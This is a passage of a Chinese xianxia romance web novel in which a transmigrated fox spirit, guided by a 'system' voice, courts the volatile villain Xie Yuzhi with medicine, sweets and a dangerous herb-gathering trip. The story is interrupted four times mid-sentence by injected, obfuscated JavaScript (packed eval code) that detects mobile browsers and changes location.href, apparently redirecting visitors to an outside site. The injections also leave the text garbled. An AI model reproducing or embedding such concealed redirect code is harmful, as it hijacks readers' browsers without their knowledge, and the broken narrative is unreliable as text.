余柚宁再无心情欣赏两兄弟的绝世神颜。一想到攻略对象是眼前这个恶劣不堪,脾气又臭又屑的谢瑜之,差点一口气上不来。 这是人能攻略的对象吗?苍天啊!大地啊!死了算了! 她恍然想起客栈里的紫嫣,向谢瑜白求助道:“谢仙师,我的朋友还在里面!可不可以帮我救她出来?” 谢瑜白点点头,“应是阿之疏忽了,我现在就去。” “嘁……兄长不必去了。” 谢瑜之把玩着手里的弦月轮,闪烁的红光照得他的脸忽明忽暗,他抬眸看向灵火灼烧的房间,眼里闪过雀跃的碎光,似在欣赏自己的得意作品。 “我设下了血煞噬魂阵,不出一个时辰,里面的东西都会化为飞灰。” 他刻意抬起手,将掌心上的伤口露出,“而且,用了我的血画阵。” “谢瑜之!我教你擒鬼引渡,不是让他们永不超生!”谢瑜白眸色染上一层冷霜,碧落剑剑气震荡。 “她都成厉鬼了,入地府又怎样?不也是进幽冥地狱吗?”谢瑜之低头舔过掌心的血痕,笑音里浸着蜜毒,“我不过是让她早点结束痛苦罢了。” 余柚宁低声骂他疯子,他怎么处理厉鬼她管不着,但是伤害无辜之人,就是不对的。 更何况紫嫣还是她初入这个世界的第一个朋友。她抬腿往客栈跑,低喃着,“阿嫣,你千万不要出事啊。” 谢瑜白克制住怒意,拦住余柚宁道:“姑娘别担心,我会救你朋友出来的。” 余柚宁感激地点点头,“谢仙师多加小心。”谢瑜白飞身而去,空旷冷寂的街道只剩她和谢瑜之。 谢瑜之不知何时已经来到她身后,拿承影剑抵住她的后背,语气阴冷,“你刚才……在骂我?” 一股寒意从剑抵住的位置直窜天灵盖,余柚宁抖声道:“怎……怎么会?” “小谢仙师刚刚救我出来,我感激你还来不及呢,怎么会骂你呢?你是不是听错了?” 谢瑜之倾身贴近她,眼眸黑得发亮,指尖轻挑她额间的碎发,“姑娘别忘了,我是修真者。” “修真者五感通达,你就算说得再小声,我也能听得清清楚楚。” “可我说的那句话不是骂人。”余柚宁解释道。 谢瑜之眼皮轻抬,显然生了些兴趣,微扬下巴示意她继续说下去。 余柚宁屏住呼吸,将视线转移至他手掌狰狞的伤口处,认真关切道:“这样深的伤口,一定很疼吧?” “疼?”谢瑜之眸光微闪,凝眸看向自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811892|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的掌心,这样的皮肉伤他都习惯了,疼,是教人清醒的良药。 她故作关心的样子,简直虚伪至极。谢瑜之冷声质问:“你想说什么?” “我说的那句疯子,是在指责仙长不爱惜自己的身体。” 她低下头鼻尖擦过谢瑜之的脸,谢瑜之退了半步,提起承影剑,眼神警惕,“你要做什么?” 余柚宁低头在随身布袋里海底捞,莫名其妙道:“给你找药啊,受伤了不涂药包扎,伤口感染化脓就更难好了。” 好半天终于从零零碎碎的小物件中翻找出一瓶褐色瓶身的金疮药,“找到啦!” 谢瑜之不自然地收回手,像稚童般赌气道:“不需要你假惺惺装好人。” 药都找出来了,她可不想白忙活一场。 “讳疾忌医可不是好习惯。”余柚宁强硬地拉过他的手,谢瑜之只是微微缩了缩手,最终还是被她扯过去了。 谢瑜之的视线从少女的发顶滑过,落至她浓密卷翘的睫毛,挺拔精致的鼻头,再到色泽莹润的唇瓣。 果然是一副狐狸精的样子。 可是,她握住他的手时,她的指尖沾着金疮药在他的伤口处滑过时,那种从未有过的绵软的触感,让他心间泛起一种异样的感觉。 像是温暖的绵团包裹他的皮肤,又像是柔软的羽毛在伤口处轻扫。莫不是她在暗中使了什么狐族的妖术? 余柚宁小心翼翼把金疮药在谢瑜之的伤口上涂匀,怎么涂都一声不吭,只有手指偶尔蜷曲。 “你怎么不说话了?我告诉你,我余柚宁不需要装好人,因为我本来就是好人。”余柚宁没控制住力度,涂药重了些。 谢瑜之轻嘶一声,没好气道:“涂个药都涂不好,蠢笨不堪。” 余柚宁反复给自己洗脑,忍住暴脾气,眼前这个可是她要攻略的人,是她找到爷爷的关键。 “我已经很小心在涂了。” 她找了条干净的纱布,耐心地包扎伤口,系到一半时,剑芒闪过,谢瑜白以青色灵力托着紫嫣从窗户跃下。 “阿宁!”紫嫣落地径直朝余柚宁跑来。 余柚宁立刻停下手上的动作,朝谢瑜之道:“剩下的你自己处理一下,金疮药也给你了,记得每天涂啊。” 说完,她转身跑过去和紫嫣抱在一起,“阿嫣,你没事吧?可有受伤?” 紫嫣抽噎道:“没、没事。” “吓死我了,客栈里烧着不知道什么东西,我醒来时火势已经蔓延到床脚了。” “还好那位仙长救了我。”她劫后余生地舒了口气,小声低喃,“会救妖族的仙长,可真少见啊,还长得这样好看。” 谢瑜之斜睨着紧紧相拥的两人,单手死死系紧布条,意味不明道:“丢下人跑这么快,还说不是装的。” 余柚宁连连向谢瑜白道谢,他微微颔首,快步走向谢瑜之,于灵台道: “阿之,今日之事,我不会告诉宗门长老,可你必须向我承诺,今后绝不再使用杀阵邪术,更不可用你的血。” 谢瑜之垂眸扫过地上褐色金疮药,不动声色拂袖收去,不耐烦道:“谢瑜白,你不必摆出长兄的做派管教我。” “放心,我不会让你的水月宗蒙尘,更不会让人知道水月宗里藏着我这样的魔、物。” 5. 糖糕 几声嘹亮的鸡鸣拉开夜幕,朝阳和煦的光透过薄雾洒在长街上,窗外枝头上的小雀叽叽喳喳地叫唤着。 余柚宁微微扭动身子,睁眼时发现自己正好端端地睡在昨夜的那张床上,她扫视一周,房间没有半点灼烧过的痕迹。 “好奇怪啊。” 紫嫣迷迷糊糊问,“怎么了?” “阿宁,你醒得好早啊,我还想再睡一会儿。”说完,紫嫣又缩进被窝。 “昨夜这里不是被谢……”余柚宁的话被识海里的声音打断。 【小主人,不能说哦。】 “沉星,你醒了?” 【嗯,我恢复好了。男主谢瑜白在昨夜清除了你们的记忆,虽然对你无效,但你也要装作忘记的样子。】 “为什么要这么做?” 【水月宗避世,不能与外界轻易产生牵扯。】 【小主人,再次提醒,合欢宗的任务很重要,请尽快完成。】 攻略谢瑜之吗?谢瑜之阴晴不定,脾气又臭又屑,初见时就和他闹得那么不愉快,简直令人头大。 “可以查询谢瑜之的好感度吗?” 【正在查询……谢瑜之好感度:-15。】 “不会吧?是不是搞错了?我还给他上药呢。” 【数据无误,正是因为小主人上药才加了一点点好感度,初始是-20。】 行吧,看来是个爱记仇的小气鬼,生个气就降20。可是话又说回来,谢瑜之其实还蛮好哄的,对他好一点,好感度就立刻回升了。 看来爷爷知道她会来到这里,可是,留给她的东西又为什么会落入合欢宗?攻略谢瑜之,破其无情道可不容易。 谢瑜之极其看中修为,若功法反噬,修为倒退,他怕是会立刻黑化杀了她。看来还得先让他动心才行。 此地距寂空山只差一座晋陵城的距离,而要去往长洲山,还有较长的一段路程。她同紫嫣一起到了晋陵城,还是分别了。 余柚宁目送紫嫣离开,眼睛酸涩起来。 她们这样的低阶小妖真是太难生存了,昨夜要不是碰上谢家两兄弟,早就死在画皮鬼手里了。 还是现代好啊,还是她所熟知的那个世界安全。 晋陵城很热闹,大大小小的铺子应接不暇。肚子空落落的,她想着先买点吃的再找地方落脚,便沿着整条街逛了逛。 “烤红薯!烤山药!价格公道味道好!” “现蒸的大馒头、大肉包嘞!” “现烤的烧鸡嘞!又香又多汁的烧鸡嘞!” 许是狐族嗅觉灵敏,她隔着大老远就闻到烤鸡铺的香味,便循着香味走过去。 小贩笑盈盈地询问她,“姑娘,要买只烧鸡吗?五枚下品灵石一只。” 烤炉里的烧鸡色泽金黄,滚热的油滴沿着酥脆的外皮滑落,发出嘶啦啦的声响,整间铺子飘荡着浓郁的香气。 余柚宁有些香迷糊了,可惜包里只躺着一枚灵石,没办法,只能吃包子。 “客官,这是你的包子,小心别烫到手。” 余柚宁低头啃下一口包子,旁边传来熟悉的声音:“徐老,糖糕照例。” 隔壁的掌柜应声:“谢公子,你的糖糕装好了,欢迎下次再来啊。” 她看向隔壁的店铺,“徐记糖糕铺”。 原著好像提过,反派嗜甜,最喜欢吃徐记糖糕铺的各色点心。 若她学会了徐记糖糕的这门手艺,岂不是可以轻而易举抓住反派的胃,再抓住他的心了吗? 谢瑜之提着糖糕,转头就看见一个桃粉色衣裙的少女,呆愣着嘿嘿傻笑,竟是她? 他不自觉调转方向,与返回宗门的路背道而驰,走近她。 “你怎么在这……”他沉吟片刻,咽回剩下的话,她应该不记得他了。不知为何,他莫名有些失落。 余柚宁站起身绕开,“别吵,想事情呢。” 帷帽下,谢瑜之脸色一黑。转身时一只手抓住他的衣角,他侧头看过去,眼睛死死盯着她那只沾满包子油的手,嘴角抽搐。 “这位公子,你说这家店的老板收学徒吗?” 谢瑜之冷声威胁:“再不松手,你的手便不必留了。” 余柚宁连忙缩回手,拿一块手帕连连擦拭,“公子别生气,我帮你擦干净。” 谢瑜之的视线沉下,落在手里的糖糕上,又扫过她手里看起来就不好吃的包子,冷不丁问:“你想吃糖糕?” “啊?” 他不由分说将刚买的一袋糖糕丢给她,转身走了。余柚宁莫名其妙地看着他的背影,喂狗呢? 自那日以后,余柚宁很久没再见过谢瑜之,她去了徐记糖糕铺当学徒,顺便混口饭吃。徐福清是个有趣的小老头儿,常常给她讲一些奇闻趣事。 她从老徐口中得知,水月宗的谢二公子因触犯门规,被关了十日禁闭,这些日子才从思过崖出来,而少宗主谢瑜白一直在玄冰洞闭关。 “余丫头,水月宗的弟子买了些糖糕,你帮我去送一趟。”老徐递给她一个食盒,沉甸甸的。 “你知道水月宗的路吧?” 余柚宁提起食盒朝老徐点头,“送到哪去啊?” “非水月宗弟子只能走后山的小路,你放在后山离宗门近的地方就行。” 余柚宁很快潜进水月宗后山,完成老徐交代的任务,顺便偷个懒四处乱转。山间生起雾气,她有些辨不清路,走了半天也没能出去。 雾气缭绕在嶙峋怪石之间,花树草木皆有灵气,水月宗后山本就存在着小精怪,便不必刻意遮掩妖气。 越往深处走,空气越发湿冷刺骨。 清冽水声荡开,她心虚地缩进一处茂密树丛后,小心翼翼探出脑袋,盯着不远处那团泛着寒气的浓郁雾气。 寒气最甚之处,是书中谢瑜之打坐静修的寒潭。 凭空涌起的风吹散雾气,似纱帐般朝两边缓慢排开。寒潭中央,水波泛起涟漪层层荡漾,一道清隽的身影正缓缓起身。 湿……□□? 余柚宁呼吸一滞,双颊顿时灼烧起来,慌乱摘了片树叶遮住眼睛。透过树叶的孔洞,视线不由自主地停在他身上。 乌发未束,随意披洒在肩头,几缕长发湿漉漉地贴在身前。 潭水沾湿玄色外裳,显出腹部分明的线条,领口松散,露出一抹盈着水珠的冷色皮肤。墨色的眼眸轻抬,眸色森寒无比。 不知是不是她的错觉,有那么一瞬间,他看向她所在的方向,眼底寒意淡了些许。 谢瑜之从那抹颤动的绿枝移开眼,唇角轻牵。 后山的精怪向来怕他,从不敢在他附近出没,今日似乎来了只熟妖? 日日入寒潭静修,是为了淬炼剑骨,打败那个事事都压他一头、总爱管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811893|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教他的兄长。 静修不可中断,否则功亏一篑。 若有人打搅他静修,他从不手软。而现在,却丝毫没有被打搅的恼怒。 “啊——有虫子!”指尖一阵软绵绵的触感吓得她跌出树丛,惊叫出声。这样蠕动的软体虫对她来说,恐怖程度与那晚的画皮鬼不分伯仲。 惊惧之中,谢瑜之已经穿整好走到岸边,她也没有察觉。 直到骨节分明的手指朝她递出,如冷泉般清冽好听的声音撞开她的恐惧,“姑娘,可还能起来?” 波光粼粼的潭面衬得他的脸分外温柔而惑人。嗯?反派转性了?还是他在模仿他哥? 想起此行的目的,余柚宁收整好情绪,搭上他的手,“多谢仙长。” “水月宗后山幽冷偏僻,姑娘何故闯入此地?”谢瑜之的掌心冰凉,蔓延出一阵刺骨的凉意。 她欲抽回手,四指却抽离不开。他的视线微沉,不动声色加大力道,不容拒绝,控制感十足。 “仙长可知水月宗谢瑜之仙师住在何处?”余柚宁明知故问。 “你找谢瑜之?”谢瑜之鸦羽轻颤,审视着眼前杏眸含露的少女。 那些刻意接近他的女子,询问的皆是兄长的去向,无一例外。她失忆后,反倒成了第一个为“谢瑜之”而来的人。 她的手掌小小一只,温软如玉。那夜她为他上药时,也是像现在这般,心里泛起阵阵异样的感觉。 兄长时常告诫他,“摒弃五感,断绝尘念,方为大道。” 可尘念为何要断绝?他本就不愿走和谢瑜白相同的道,不愿做他的影子。 余柚宁察觉他赤裸的视线,双颊染上两抹薄红,装出女儿家的羞态,“谢仙师仙姿卓绝,剑道超群,柚宁心向往之。” 谢瑜之顿时松了手,清俊的面庞掠起极不相称的恶劣笑意,“剑道超群?” “柚宁哪里说错了吗?”她紧张地搅弄衣摆,声音微颤。 在剑道一术上,谢瑜白和谢瑜之并称为水月双璧,不应该有错啊。 谢瑜之抬眼轻笑,“姑娘所言,会让在下觉得姑娘倾慕的另有其人。” “比如谢瑜之的兄长,谢瑜白。” 嫉妒的小火苗又熊熊燃烧了?既然上天派她来攻略谢瑜之,那她便顺手治治他那狂白症。说不定他哪天黑化了,还能高抬贵手,放她一条生路。 毕竟她是身穿的,小命何其珍贵。 不就是想要被特殊对待,得到独一无二的偏爱吗?这还不简单。 “不是谢瑜白。”余柚宁直视他的眼睛,“剑道之外,谢仙师的丹术更是无人能及。” “据我所知,谢仙师炼制的‘凝魂丹’,可将濒死之人拉回阳界。” 谢瑜之瞳孔微缩,凝魂丹救人一事,连兄长都不知,她又是如何知晓的? 还好余柚宁对谢瑜之反差感的标志性事件印象深刻。她弯眸朝他轻笑,“仙长,我说的可对?” “有意思。”他忽然扣住她的手腕,将她拉近。 余柚宁闻到他身上清淡的兰草香,混合着寒潭的冷气。 近距离看,他的睫毛长得过分,沾着些许湿润的水汽,略显阴郁。谢瑜之的手指突然收紧,她疼得轻哼一声。 “你是谁派来的?”他多疑的本性暴露,满是质问,“水月宗长老的走狗?还是合欢宗不知死活的探子?” 6. 悸动 要死!反派开挂了吧?猜得这么准? 弦月轮不知何时悬在了她的身前,死亡近在咫尺,她的头顶和尾椎骨一齐发热,狐尾像一团蒲公英般炸开。 谢瑜之的视线扫过她的尾巴,又停留在她的发顶,一缕发丝搭在雪白的狐耳上,狐耳似糖冻般晃动。 雪白的狐尾擦过左臂,她才意识到他在看她的狐耳,慌忙将尾巴藏进裙底,解释道:“我不是合欢宗弟子!” 她说的是实话,可惜这番说辞于他而言就是欲盖弥彰。 “果然是合欢宗派来的。”他冷笑着移开弦月轮,取出一个青色瓷瓶,“说吧,你想试试什么毒药?断肠散,还是化骨丹?” 余柚宁双腿一软,差点又藏不住尾巴。水月宗最讨厌的就是合欢宗,简直水火不相容。 她挤出泪花,装作深情道:“我余柚宁不怕死,只怕死后,再也无法向谢仙师诉说这份真情厚意。” 说完她低声啜泣起来,可谓情真意切,“山有木兮木有枝,心悦君兮君不知。” “君不知……”她噙着一滴泪瞥向他。 “呵。”谢瑜之突然轻笑出声,指腹摩挲着她腕间被捏红的皮肤,“连妖相都收不住的小妖,倒会编故事。” 他松开她,拂袖转身,“既然这么想接近谢瑜之,给你三天。” “啊?” “三日之内,找到这味药材。” 谢瑜之随手抛来一块晶石,里面封着一株赤色小草,“我便带你找谢瑜之,诉说你那所谓的情意。” 谢瑜之不就是你吗?装得真好。 “若是找不到,”谢瑜之背身而去,“就永远不要出现在我面前。” 她手忙脚乱接住。 沉星解释:【是传说中的“焚心草”,只生长在赤焰山,剧毒。】 余柚宁同沉星抱怨道:“他分明就是想为难我。” 【那小主人要去吗?】 “去啊,必须去,要让他亲眼看到我的诚意。不过不是现在,我还得回糖糕铺做点攻略道具。” 余柚宁下山匆匆赶回糖糕铺,老徐见她,叼着烟斗,胡子抖动,“余丫头,怎么去了这么久?” “是不是跑去哪里偷懒了?”老徐叹道:“我听说十里外又出人命了,这些天你最好不要乱跑。” “我哪敢?”余柚宁自觉地系起围裙,“我在水月宗后山迷了路,才出来就往铺子赶,您还误会我。” “行吧行吧,我信你了。” “对了老徐,有没有新揉的面团,我想自己做些点心。” 老徐移开烟斗,盯着她,连连称奇,“不对劲,你不对劲。你每次做完点心都要歇息一天,今日怎么又想做了?” “多练习才能进步嘛。”余柚宁往后厨去了。 她将面团捏成各种各样的形状,又兴致勃勃捏了个谢瑜之的小面人,虽然没那么像,但那屑屑的表情入木三分。 “我说你今天怎么这么勤快呢?”老徐不知何时进来,凑过来打量桌面上的点心,“原来是要送情郎啊?” “什么情郎?”余柚宁歪头问。 老徐指了指那个面人,“你眼光不怎么好,看起来有点丑。” “您别打趣我了,只是捏着玩的。”余柚宁尴尬笑笑,捏着剩下的面团。 老徐帮她将糖糕一一收进蒸笼,“这些糖糕的形状你是从哪里学来的,我怎么从未见过这样的?” “很好看吧?”余柚宁得意道。 老徐数落,“我教你的不好好学,净整这些稀奇古怪的。” 待糖糕蒸好降温,余柚宁向老徐讨来一个漂亮精致的食盒,将糖糕裹上糖霜,再加点装饰,妥帖地摆放进食盒中。 【小主人,谢瑜之的警惕性很强,旁人送的东西他不会轻易收的。】 余柚宁在一张字条上写写画画,肯定道:“那就想办法让他收。” 【上面写了什么?】 “他非收不可的理由。”余柚宁复问沉星,“小星,你有传送的功能吗?” 【有是有,不过太耗费灵力,七日之内只能传送一次。】 “够了,我先将糖糕送到水月宗后山,你再将我送至赤焰山。” 翌日,谢瑜之察觉寒潭外结界晃动,飞身过去,只见不逾居门外摆着个檀木食盒。盒盖间夹着张字条: “焚心草为幌,其根下的炎玉髓才为真吧?谢仙师可是受魔气侵扰,既如此,柚宁甘愿为君取之。” “勿忧勿念。”末端画着个丑丑的小人,以及一个桃心的形状。 他的指尖微微抖动,她竟看得出他身上有魔气?分明……连水月宗的长老都察觉不到。她又是怎么知道炎玉髓的? 看来,此人身上秘密颇多。 那便去看看吧,若藏有异心,杀了便是。 * 余柚宁蹲在赤焰山,时不时有岩浆溅落到手背上,她找了许久,连一株活着的植物都见不到,更别说焚心草了。 “臭谢瑜之,死谢瑜之……”她一边咒骂一边用微弱的妖力凝出冰雾,缓解疼痛。 【小主人,去那边看看。】 余柚宁循着沉星的指示走,眼睛一亮,她终于在岩缝里发现一朱赤红的焚心草。 她兴奋地伸手去摘,突然被一只微凉的手掌握住手腕。 “狐妖果然怕炎火。”谢瑜之的声音在头顶响起,“这样采药,看来你是真的不想要这只手了。” 她惊愕抬头,一袭鸦青色的袖摆拂过,将翻涌的热潮驱散大半。 居然是谢瑜之!她送糖糕只是想引起谢瑜之的注意,但从没想过,他会亲自来。 谢瑜之单手结印,寒雾在他的右手凝出冰晶,连溅出的岩浆都化不开。他轻而易举摘下焚心草,连着根下的炎玉髓,装进玉盒,“可看清楚了?” “道理我都懂,可我没有如此吊炸天的修为啊!”她小声接话。 谢瑜之指尖的冰晶化去,轻轻擦过她灼伤的手背。余柚宁瑟缩了一下,他不满地蹙起眉心,执拗地拉过她的手。 “真不知道你这样蠢笨的狐狸,是怎么闯入水月宗的。” “说我弱可以,但不能说我蠢,我的聪明你难以想象。”她嘟囔着,发觉伤口似乎变得更深了。 谢瑜之取出随身药瓶,“赤焰山的火毒,不及时处理会烂到骨头。” 冰凉的药膏涂抹在伤口上,她怔怔看着他眼下的红痣,反派虽狠毒,但实在美丽。 “看什么?”他突然抬眼,撞上她来不及收回的视线。 上次她为他涂药,而这次换过来了。他的动作很轻,像羽毛拂过。余柚宁耳尖一热,扭捏道:“你就是谢仙师吧?” 谢瑜之手上的动作一顿,转而轻笑道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811894|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“看来你也没那么笨。” 余柚宁扶额苦笑,能不能别再明里暗里说她笨。 “谢仙师为何会亲自来呀?”她托腮望着他,满眼冒出小星星。 “来看你怎么被烤成狐狸干。”他冷笑,手上动作却更轻柔,“那日你说的话……可是真的?” 余柚宁故作懵懂地凑近他,鼻尖几乎贴上他的脸颊:“那日我说了许多。” “不知谢仙师指的是哪一句?” 山风掠过,吹起他头顶的云纹发带,带着清冷的兰草香拂过她的侧脸。 谢瑜之最初只是好奇,好奇她为何知道他的秘密,好奇这样一个言行不一,满心算计的狐妖,到底会为她所说的情意做到何等地步。 才循着她的妖息来到赤焰山。 她满口谎话,却又为了摘焚心草弄得满手伤痕。他猜不出她的哪句话是真的,想着便随口问出来了。 “不知道吗,看来也并非真情实意。”谢瑜之眼神骤冷,将药放在地上,猛地起身。 果然和书中描述的一样喜怒无常。不过此番表现,也印证了她的表白并非是做无用功,看来谢瑜之吃打直球这一套。 余柚宁大着胆子勾住他的衣袖,晃了晃焦黑的尾巴尖,眼眶泛红:“尾巴也受伤了,疼……” 谢瑜之呼吸一滞,竟俯身将她打横抱起。 突如其来的悬空让她不得不搂住他的脖子,她顺势贴近他的胸脯道:“我心悦谢瑜之仙长,自然是真的。” 话音刚落,谢瑜之胸口传出清晰有力的心跳声。 反派这么纯情啊?余柚宁瞥见谢瑜之滚动的喉结,故意拨弄起他的衣襟,“谢仙师,你的心跳好快啊。” “闭嘴。”谢瑜之的声音微哑,带着一丝羞愤的恼怒。 她暗自窃喜,尾巴攀上他的手腕缠绕,绒毛轻蹭着他的皮肤。 谢瑜之的手臂肌肉骤然紧绷,呼吸明显粗重了几分,冷声威胁,“再乱动,我就把你丢下去。” 阵阵冷风呼啸而过,余柚宁侧目瞥见深不见底的云渊,立刻老实起来,乖乖缩在他怀里,他不动声色将她抱紧了些。 他的掌心,似乎变暖了。 谢瑜之竟将他带回了不逾居。水月宗不是不允许弟子带外人入门吗?不愧是反派啊,离经叛道。 原书提到不逾居东殿归属谢瑜白,西殿归属谢瑜之。若谢瑜白未闭关,或许还能见到他。 谢瑜之将余柚宁带到客房,亲自为她处理尾巴上的伤口。他的认真乖觉的样子与归云镇阴鸷狠戾的形象大相径庭。 “谢仙师待人都这般好吗?”余柚宁歪头看他,虽保持着合适的距离,尾巴却不受控制地轻轻摇晃,时不时扫过他的腰侧。 谢瑜之的呼吸越来越沉,最终忍无可忍,一把捏住她的尾巴根。 “唔!”她浑身一颤,差点惊叫出声。 狐妖的尾巴最是敏感,此刻被他攥在掌心,某种隐秘的酥麻感直窜天灵盖。 更要命的是,他的指腹还在来回摩挲着尾巴根部,她好几次咽下溢出喉间的低吟。 谢瑜之玩味低笑一声,“这么敏感?” “你、你放开……”余柚宁从未有过这样羞耻的感觉,声音发颤,耳尖红得滴血。 他的眼神凝为实质,似要将她看穿,“不是心悦我吗?怎么,这点触碰都受不住?” 7. 诱心 她被威压震慑得动弹不得,颤声解释:“这种事讲究循序渐进……” “呵,好一个循序渐进。” 谢瑜之忽然扼住她的下巴,迫使她对上那双幽暗黑沉的眸子:“余柚宁,你到底想做什么?” “你为何知道炎玉髓压制魔气一事,你在调查我?” “我……”假意的温柔尽数卸下,这才是反派真实的样子,多智近妖、阴鸷狠厉,她仿佛预见到了被他杀死的未来。 “狐族的媚术对我无用。”他的指节微微用力,“你费尽心思接近我、撩拨我,到底图什么?” 余柚宁咬了咬唇,理不直气也壮:“我心悦你,自然是图你这个人。” 谢瑜之有片刻的愣神,随即嗤笑:“谎话连篇。” 他拂袖掀开木制食盒,隔空取来那个小面人,咬牙切齿道:“那这是什么?巫蛊之物?” 余柚宁看着小面人仅连着一丝、摇摇欲坠的脑袋,脊背发凉。看来是没粘好,爬山时把它给晃断了。 天大的误会啊!她费劲捏绝版小面人她明明是想靠它增进感情的,怎么会是巫蛊? 谢瑜之松开手,余柚宁将它接在手里,凄凄切切地望着,“我可怜的小面人,怎么变成这样了?” “你承认了?”谢瑜之的黑眸如沉星,死死盯着她。 “是我捏的,可它并不是什么巫蛊之物。”余柚宁将小面人重新粘好,“你再仔细看看?像不像你?” 谢瑜之扫了一眼,轻抿唇角,“这么丑的东西,怎么可能像我?” 余柚宁指了指小面人的脸,“连嘴角上扬的幅度都一模一样,还说不像。” “我知道,是我一厢情愿,我这样修为低微的小妖,谢仙师看不上也正常。”余柚宁轻声叹气,掩面而泣,“情不知所起,一往而深。” “即便谢仙师不信,我也不会放弃的。” 谢瑜之松手盯着她看了许久,俯身凑近她,温热的气息喷洒在耳畔:“好啊,我倒要看看……你这谎言堆砌而成的真心,能装到几时。” 话音落下,余柚宁脚下生出一道蓝色的传送阵,瞬间被他送到寂空山下。 【小主人,你这样是不是装得太过了,他真的会信吗?】 “当然不会信,表白只是个引子,但他会期待,期待我将如何证明真心。” “这一丝期待感,便足够将我与旁人区别开来。” 【小主人听起来像情场高手呢。】 “纸上谈兵罢了,加上对反派人设的一点点剖析,以及幼稚园心理学指导。” 【那接下来你准备怎么做?】 “现在的好感度是多少?” 【谢瑜之好感度:-5。】 “看来还需要展开猛烈攻势才行啊。” 余柚宁发现,谢瑜之虽然在寒潭附近另设了结界,但对她是没有丝毫影响的,甚至能进入不逾居西殿。 也就是说,他默许了她的靠近。 她开始像npc一样在主角出现的地方随机刷新,日日缠着谢瑜之。假装对炼丹感兴趣,缠着他教她认药材。 “这是天南星,这是断肠草,别弄混了。”他修长的手指拨弄着药匣,语气冷淡。 余柚宁拿起一株颜色艳丽的药草,眨着眼问他:“那这个呢?” 谢瑜之瞥了一眼,语气幽冷:“七煞藤,碰到汁液会七窍流血而亡。” “啊!”她惊慌甩开药草,顺势往他怀里一扑,谢瑜之猝不及防,被她撞得后退两步,后背抵在药柜上。 鼻尖蹭到他的锁骨,呼吸间全是他身上清冽的兰草香。谢瑜之的呼吸乱了,胸口浮动:“……站好。” 余柚宁仰头看他,耳尖微红。暗暗得意,不过是情窦初开的少男罢了,纯情得很。 她瞧向落地的药草:“这些毒草真特别,比寻常花草还要好看呢。” 谢瑜之意味深长道:“越是诡谲神秘的东西,越是剧毒,你还是离它们远点为好。” 余柚宁读出他话里的意思,要她知难而退?她偏不! “不过我觉得,毒药也不能一概而论。譬如那曼陀罗,虽全株剧毒,却有治疗咳疾的功效,不是吗?” 她瞥见他眼里闪过片刻的错愕,沉星随之提醒,【谢瑜之好感度+5。】 谢瑜之喜欢下棋,她便每晚跑到凉亭去烦他。虽然每次都输,但时间一长,她的棋艺也精进了不少,何尝不是一种免费的棋艺培训呢? 眼瞧着好感度从-20涨到20,余柚宁没再去寂空山。 沉星急得团团转,【小主人,好不容易攻略见成效了,你不要摆烂啊。】 余柚宁撕下冒着热气的大鸡腿,“放心,我没有摆烂,你知道什么叫若即若离的爱情吗?” 【听不懂。】 “太容易得到的东西迟早会厌倦,要适当冷落他,他才会真正把我放在心上。” “好了,我要给自己放假休息几天。” 【可是小主人,过两天主角就该离开寂空山了,你也要去。】 “离开寂空山?去哪?” 【走主线剧情啊,你还记得上次在归云镇见到的画皮鬼吗?】 “我想起来了。” 原著中,谢瑜白在途经归云镇时,本想擒住作乱的画皮鬼,以找到怨鬼丛生的根源,彻底解决归云镇的祸患。 可惜谢瑜之杀了那夜的画皮鬼,线索便中断了,只能暂时回寂空山,等血月夜百鬼夜行。 最近的血月夜,就是两天后。不过,关她什么事?她又不会抓鬼。 沉星读到她的心声,解释道:【小主人参与的主线剧情越多,下线时间就越晚。小主人不是想找爷爷吗?】 【还有任务奖励,比如修为,好感度催化……】 “有这种好东西怎么不早说?” 沉星嘿嘿一笑,【沉迷于磕cp,忘记了。】 寂空山,不逾居。 清月洒在空旷的院落,今夜的风有些大,吹起凉亭四面的纱帐,灌入宽大的袖袍内。 亭内的人杵着下巴,百无聊赖独自对弈。 已经七日了,他每每到了酉时,就会坐在凉亭里等人,可她一次也没来。 她送的糖糕也已经见底了,可他不想下山,不想去糖糕铺。 她是不是把他当狗一样戏耍?喂了就走? 谢瑜之很不喜欢这样的感觉,不喜欢被人牵着鼻子走。 他绝不能落入她的圈套,现在还不明显吗?她根本就是一时兴起,根本就是个骗子。 暗色中,他腰间的玉牌泛起白光。 “阿之,归云镇又出了命案,明日一早随我过去,勿要再像上次那样冲动。” 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 